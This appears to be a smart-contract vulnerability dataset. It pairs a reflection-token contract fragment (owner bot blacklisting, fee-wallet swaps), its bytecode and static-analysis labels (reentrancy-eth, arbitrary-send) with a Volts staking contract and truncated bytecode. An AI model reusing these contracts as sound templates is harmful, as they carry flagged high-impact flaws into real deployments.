tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f3578063c3c8cd8014610313578063c9567bf914610328578063d543dbeb1461033d578063dd62ed3e1461035d57600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d357600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260088152674173756e61496e7560c01b60208201525b6040516101539190611979565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611800565b6103a3565b6040519015158152602001610153565b34801561019857600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610153565b3480156101c157600080fd5b5061017c6101d03660046117bf565b6103ba565b3480156101e157600080fd5b506101f56101f036600461174c565b610423565b005b34801561020357600080fd5b5060405160128152602001610153565b34801561021f57600080fd5b506101f561022e3660046118f8565b610477565b34801561023f57600080fd5b506101f56104bf565b34801561025457600080fd5b506101a761026336600461174c565b6104ec565b34801561027457600080fd5b506101f561050e565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102b157600080fd5b506040805180820190915260058152644173756e6160d81b6020820152610146565b3480156102df57600080fd5b5061017c6102ee366004611800565b610582565b3480156102ff57600080fd5b506101f561030e36600461182c565b61058f565b34801561031f57600080fd5b506101f5610625565b34801561033457600080fd5b506101f561065b565b34801561034957600080fd5b506101f5610358366004611932565b610a24565b34801561036957600080fd5b506101a7610378366004611786565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b0338484610afa565b5060015b92915050565b60006103c7848484610c1e565b610419843361041485604051806060016040528060288152602001611b65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fb8565b610afa565b5060019392505050565b6000546001600160a01b031633146104565760405162461bcd60e51b815260040161044d906119ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a15760405162461bcd60e51b815260040161044d906119ce565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104df57600080fd5b476104e981610ff2565b50565b6001600160a01b0381166000908152600260205260408120546103b490611077565b6000546001600160a01b031633146105385760405162461bcd60e51b815260040161044d906119ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b0338484610c1e565b6000546001600160a01b031633146105b95760405162461bcd60e51b815260040161044d906119ce565b60005b8151811015610621576001600660008484815181106105dd576105dd611b15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061981611ae4565b9150506105bc565b5050565b600e546001600160a01b0316336001600160a01b03161461064557600080fd5b6000610650306104ec565b90506104e9816110fb565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161044d906119ce565b601154600160a01b900460ff16156106df5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044d565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071f30826b033b2e3c9fd0803ce8000000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075857600080fd5b505afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107909190611769565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d857600080fd5b505afa1580156107ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108109190611769565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085857600080fd5b505af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611769565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306108c0816104ec565b6000806108d56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093857600080fd5b505af115801561094c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610971919061194b565b5050601180546a52b7d2dcc80cd2e400000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ec57600080fd5b505af1158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106219190611915565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161044d906119ce565b60008111610a9e5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044d565b610abf6064610ab96b033b2e3c9fd0803ce800000084611284565b90611303565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044d565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044d565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044d565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044d565b6001600a556009600b556000546001600160a01b03848116911614801590610d7c57506000546001600160a01b03838116911614155b15610f5b576001600160a01b03831660009081526006602052604090205460ff16158015610dc357506001600160a01b03821660009081526006602052604090205460ff16155b610dcc57600080fd5b6011546001600160a01b038481169116148015610df757506010546001600160a01b03838116911614155b8015610e1c57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e315750601154600160b81b900460ff165b15610e8e57601254811115610e4557600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6957600080fd5b610e7442601e611a74565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610eb957506010546001600160a01b03848116911614155b8015610ede57506001600160a01b03831660009081526005602052604090205460ff16155b15610eee576002600a908155600b555b6000610ef9306104ec565b601154909150600160a81b900460ff16158015610f2457506011546001600160a01b03858116911614155b8015610f395750601154600160b01b900460ff165b15610f5957610f47816110fb565b478015610f5757610f5747610ff2565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9d57506001600160a01b03831660009081526005602052604090205460ff165b15610fa6575060005b610fb284848484611345565b50505050565b60008184841115610fdc5760405162461bcd60e51b815260040161044d9190611979565b506000610fe98486611acd565b95945050505050565b600e546001600160a01b03166108fc61100c836002611303565b6040518115909202916000818181858888f19350505050158015611034573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61104f836002611303565b6040518115909202916000818181858888f19350505050158015610621573d6000803e3d6000fd5b60006008548211156110de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044d565b60006110e8611373565b90506110f48382611303565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061114357611143611b15565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561119757600080fd5b505afa1580156111ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111cf9190611769565b816001815181106111e2576111e2611b15565b6001600160a01b0392831660209182029290920101526010546112089130911684610afa565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611241908590600090869030904290600401611a03565b600060405180830381600087803b15801561125b57600080fd5b505af115801561126f573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b600082611293575060006103b4565b600061129f8385611aae565b9050826112ac8583611a8c565b146110f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044d565b60006110f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611396565b80611352576113526113c4565b61135d8484846113f2565b80610fb257610fb2600c54600a55600d54600b55565b60008060006113806114e9565b909250905061138f8282611303565b9250505090565b600081836113b75760405162461bcd60e51b815260040161044d9190611979565b506000610fe98486611a8c565b600a541580156113d45750600b54155b156113db57565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061140487611531565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611436908761158e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461146590866115d0565b6001600160a01b0389166000908152600260205260409020556114878161162f565b6114918483611679565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114d691815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006115088282611303565b821015611528575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600080600080600080600080600061154e8a600a54600b5461169d565b925092509250600061155e611373565b905060008060006115718e8787876116ec565b919e509c509a509598509396509194505050505091939550919395565b60006110f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806115dd8385611a74565b9050838110156110f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044d565b6000611639611373565b905060006116478383611284565b3060009081526002602052604090205490915061166490826115d0565b30600090815260026020526040902055505050565b600854611686908361158e565b60085560095461169690826115d0565b6009555050565b60008080806116b16064610ab98989611284565b905060006116c46064610ab98a89611284565b905060006116dc826116d68b8661158e565b9061158e565b9992985090965090945050505050565b60008080806116fb8886611284565b905060006117098887611284565b905060006117178888611284565b90506000611729826116d6868661158e565b939b939a50919850919650505050505050565b803561174781611b41565b919050565b60006020828403121561175e57600080fd5b81356110f481611b41565b60006020828403121561177b57600080fd5b81516110f481611b41565b6000806040838503121561179957600080fd5b82356117a481611b41565b915060208301356117b481611b41565b809150509250929050565b6000806000606084860312156117d457600080fd5b83356117df81611b41565b925060208401356117ef81611b41565b929592945050506040919091013590565b6000806040838503121561181357600080fd5b823561181e81611b41565b946020939093013593505050565b6000602080838503121561183f57600080fd5b823567ffffffffffffffff8082111561185757600080fd5b818501915085601f83011261186b57600080fd5b81358181111561187d5761187d611b2b565b8060051b604051601f19603f830116810181811085821117156118a2576118a2611b2b565b604052828152858101935084860182860187018a10156118c157600080fd5b600095505b838610156118eb576118d78161173c565b8552600195909501949386019386016118c6565b5098975050505050505050565b60006020828403121561190a57600080fd5b81356110f481611b56565b60006020828403121561192757600080fd5b81516110f481611b56565b60006020828403121561194457600080fd5b5035919050565b60008060006060848603121561196057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119a65785810183015185820160400152820161198a565b818111156119b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a535784516001600160a01b031683529383019391830191600101611a2e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a8757611a87611aff565b500190565b600082611aa957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ac857611ac8611aff565b500290565b600082821015611adf57611adf611aff565b500390565b6000600019821415611af857611af8611aff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e957600080fd5b80151581146104e957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e1c29431758455df89966419b0717a102736e1a9ea5f7bac7c84949df1cced2164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,211 |
0x592fbe31ff45f769bd077c332c40c71e32141634
|
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
/*
website: volts.finance
______ __
/ \ / |
/$$$$$$ |$$ |____ _____ ____ _______
$$ | $$ |$$ \ / \/ \ / |
$$ | $$ |$$$$$$$ |$$$$$$ $$$$ |/$$$$$$$/
$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ \
$$ \__$$ |$$ | $$ |$$ | $$ | $$ | $$$$$$ |
$$ $$/ $$ | $$ |$$ | $$ | $$ |/ $$/
$$$$$$/ $$/ $$/ $$/ $$/ $$/ $$$$$$$/
LP token and VOLTS staking contract of the Volts-Ecosystem
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface StakedToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface RewardToken {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract Staking is Ownable {
struct User {
uint256 depositAmount;
uint256 paidReward;
}
using SafeMath for uint256;
mapping (address => User) public users;
uint256 public rewardTillNowPerToken = 0;
uint256 public lastUpdatedBlock;
uint256 public rewardPerBlock;
uint256 public scale = 1e18;
uint256 public totalOhmsReward = 0;
uint256 public totalStakedToken = 1;
StakedToken public stakedToken;
RewardToken public rewardToken;
event Deposit(address user, uint256 amount);
event Withdraw(address user, uint256 amount);
event EmergencyWithdraw(address user, uint256 amount);
event RewardClaimed(address user, uint256 amount);
event RewardPerBlockChanged(uint256 oldValue, uint256 newValue);
constructor (address _stakedToken, address _rewardToken, uint256 _rewardPerBlock) public {
stakedToken = StakedToken(_stakedToken);
rewardToken = RewardToken(_rewardToken);
rewardPerBlock = _rewardPerBlock;
lastUpdatedBlock = block.number;
}
// Returns the amount of OHMS rewarded to stakers per block
function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {
update();
emit RewardPerBlockChanged(rewardPerBlock, _rewardPerBlock);
rewardPerBlock = _rewardPerBlock;
}
// Returns the amount of OHMS rewarded to stakers per block
function getRewardPerBlock() external view returns (uint256){
return rewardPerBlock;
}
// View function to see users staked balance on frontend.
function getUserDepositAmount(address _user) external view returns (uint256){
User storage user = users [_user];
return user.depositAmount;
}
// View function to see the amount staked in the contract in OHMS.
function getTotalStaked() external view returns (uint256){
return stakedToken.balanceOf(address(this));
}
// View function to get the remaining reward balance in the contract in OHMS.
function getTotalRemainingReward() external view returns (uint256){
return rewardToken.balanceOf(address(this));
}
// Update reward variables of the pool to be up-to-date.
function update() public {
if (block.number <= lastUpdatedBlock) {
return;
}
uint256 totalStakedToken;
if(stakedToken.balanceOf(address(this)) > 0){
totalStakedToken = stakedToken.balanceOf(address(this));
}
else{
totalStakedToken = 1;
}
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
totalOhmsReward = totalOhmsReward.add(rewardAmount);
rewardTillNowPerToken = rewardTillNowPerToken.add(rewardAmount.mul(scale).div(totalStakedToken));
lastUpdatedBlock = block.number;
}
// View function to see pending reward on frontend.
function pendingReward(address _user) external view returns (uint256) {
User storage user = users[_user];
uint256 accRewardPerToken = rewardTillNowPerToken;
uint256 totalStakedToken;
if(stakedToken.balanceOf(address(this)) > 0){
totalStakedToken = stakedToken.balanceOf(address(this));
}
else{
totalStakedToken = 1;
}
if (block.number > lastUpdatedBlock) {
uint256 rewardAmount = (block.number - lastUpdatedBlock).mul(rewardPerBlock);
accRewardPerToken = accRewardPerToken.add(rewardAmount.mul(scale).div(totalStakedToken));
}
return user.depositAmount.mul(accRewardPerToken).div(scale).sub(user.paidReward);
}
function deposit(uint256 amount) public {
User storage user = users[msg.sender];
update();
if (user.depositAmount > 0) {
uint256 _pendingReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale).sub(user.paidReward);
rewardToken.transfer(msg.sender, _pendingReward);
emit RewardClaimed(msg.sender, _pendingReward);
}
user.depositAmount = user.depositAmount.add(amount);
user.paidReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale);
stakedToken.transferFrom(address(msg.sender), address(this), amount);
totalStakedToken = totalStakedToken.add(amount);
emit Deposit(msg.sender, amount);
}
function withdraw(uint256 amount) public {
User storage user = users[msg.sender];
require(user.depositAmount >= amount, "withdraw amount exceeds deposited amount");
update();
uint256 _pendingReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale).sub(user.paidReward);
rewardToken.transfer(msg.sender, _pendingReward);
emit RewardClaimed(msg.sender, _pendingReward);
if (amount > 0) {
user.depositAmount = user.depositAmount.sub(amount);
stakedToken.transfer(address(msg.sender), amount);
totalStakedToken = totalStakedToken.sub(amount);
emit Withdraw(msg.sender, amount);
}
user.paidReward = user.depositAmount.mul(rewardTillNowPerToken).div(scale);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw() public {
User storage user = users[msg.sender];
totalStakedToken = totalStakedToken.sub(user.depositAmount);
stakedToken.transfer(msg.sender, user.depositAmount);
emit EmergencyWithdraw(msg.sender, user.depositAmount);
user.depositAmount = 0;
user.paidReward = 0;
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063b6b55f25116100b8578063e334924a1161007c578063e334924a146103c2578063f2fde38b146103e0578063f40f0f5214610424578063f51e181a1461047c578063f7c618c11461049a578063f90ce5ba146104ce57610142565b8063b6b55f251461030a578063bb872b4a14610338578063cb6d8ee614610366578063cc7a262e14610384578063db2e21bc146103b857610142565b8063715018a61161010a578063715018a6146102275780638ae39cac146102315780638da5cb5b1461024f5780638e968a0b14610283578063a2e62045146102a1578063a87430ba146102ab57610142565b80630917e776146101475780630cec2a76146101655780632e1a7d4d146101bd57806349df8d33146101eb57806360c6cdac14610209575b600080fd5b61014f6104ec565b6040518082815260200191505060405180910390f35b6101a76004803603602081101561017b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b7565b6040518082815260200191505060405180910390f35b6101e9600480360360208110156101d357600080fd5b8101908080359060200190929190505050610608565b005b6101f36109bd565b6040518082815260200191505060405180910390f35b6102116109c7565b6040518082815260200191505060405180910390f35b61022f6109cd565b005b610239610b53565b6040518082815260200191505060405180910390f35b610257610b59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028b610b82565b6040518082815260200191505060405180910390f35b6102a9610c4d565b005b6102ed600480360360208110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7d565b604051808381526020018281526020019250505060405180910390f35b6103366004803603602081101561032057600080fd5b8101908080359060200190929190505050610ea1565b005b6103646004803603602081101561034e57600080fd5b810190808035906020019092919050505061121b565b005b61036e611336565b6040518082815260200191505060405180910390f35b61038c61133c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103c0611362565b005b6103ca611507565b6040518082815260200191505060405180910390f35b610422600480360360208110156103f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061150d565b005b6104666004803603602081101561043a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611718565b6040518082815260200191505060405180910390f35b6104846119af565b6040518082815260200191505060405180910390f35b6104a26119b5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104d66119db565b6040518082815260200191505060405180910390f35b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561057757600080fd5b505afa15801561058b573d6000803e3d6000fd5b505050506040513d60208110156105a157600080fd5b8101908080519060200190929190505050905090565b600080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060000154915050919050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905081816000015410156106a8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611d126028913960400191505060405180910390fd5b6106b0610c4d565b60006106f582600101546106e76005546106d960025487600001546119e190919063ffffffff16565b611a6790919063ffffffff16565b611ab190919063ffffffff16565b9050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff